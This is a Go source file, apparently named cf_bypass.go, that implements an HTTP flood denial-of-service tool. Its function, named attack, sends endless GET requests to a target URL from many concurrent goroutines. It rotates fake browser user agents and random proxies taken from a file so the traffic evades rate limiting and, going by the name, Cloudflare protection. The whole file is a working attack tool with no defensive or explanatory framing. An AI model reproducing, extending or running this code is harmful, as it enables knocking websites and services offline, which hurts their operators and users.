package main

import (
    "fmt"
    "io/ioutil"
    "math/rand"
    "net/http"
    "net/url"
    "os"
    "strconv"
    "strings"
    "sync"
    "time"
)

var userAgents = []string{
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
    "Mozilla/5.0 (Linux; Android 10; SM-G975F)",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X)",
}

func randomUserAgent() string {
    return userAgents[rand.Intn(len(userAgents))]
}

func readProxies(filePath string) ([]string, error) {
    content, err := ioutil.ReadFile(filePath)
    if err != nil {
        return nil, err
    }
    lines := strings.Split(string(content), "\n")
    var proxies []string
    for _, line := range lines {
        trimmed := strings.TrimSpace(line)
        if trimmed != "" {
            proxies = append(proxies, trimmed)
        }
    }
    return proxies, nil
}

func attack(wg *sync.WaitGroup, target string, proxy string) {
    defer wg.Done()

    proxyURL, _ := url.Parse(proxy)
    transport := &http.Transport{}
    if proxy != "" {
        transport.Proxy = http.ProxyURL(proxyURL)
    }
    client := &http.Client{
        Transport: transport,
        Timeout:   10 * time.Second,
    }

    for {
        req, err := http.NewRequest("GET", target, nil)
        if err != nil {
            continue
        }
        req.Header.Set("User-Agent", randomUserAgent())
        req.Header.Set("Connection", "keep-alive")
        req.Header.Set("Accept", "*/*")
        req.Header.Set("Accept-Encoding", "gzip, deflate")
        req.Header.Set("Accept-Language", "en-US,en;q=0.9")

        resp, err := client.Do(req)
        if err != nil {
            fmt.Println("Error:", err)
            continue
        }
        fmt.Println("Status:", resp.Status)
        resp.Body.Close()

        time.Sleep(time.Duration(rand.Intn(500)) * time.Millisecond)
    }
}

func main() {
    if len(os.Args) < 3 {
        fmt.Println("Usage: go run cf_bypass.go <URL> <threads> [proxy_file.txt]")
        return
    }

    target := os.Args[1]
    threads, _ := strconv.Atoi(os.Args[2])
    proxyFile := ""
    if len(os.Args) > 3 {
        proxyFile = os.Args[3]
    }

    var proxies []string
    if proxyFile != "" {
        var err error
        proxies, err = readProxies(proxyFile)
        if err != nil {
            fmt.Println("Error reading proxies:", err)
            return
        }
    }

    var wg sync.WaitGroup
    for i := 0; i < threads; i++ {
        wg.Add(1)
        proxy := ""
        if len(proxies) > 0 {
            proxy = proxies[rand.Intn(len(proxies))]
        }
        go attack(&wg, target, proxy)
    }

    wg.Wait()
}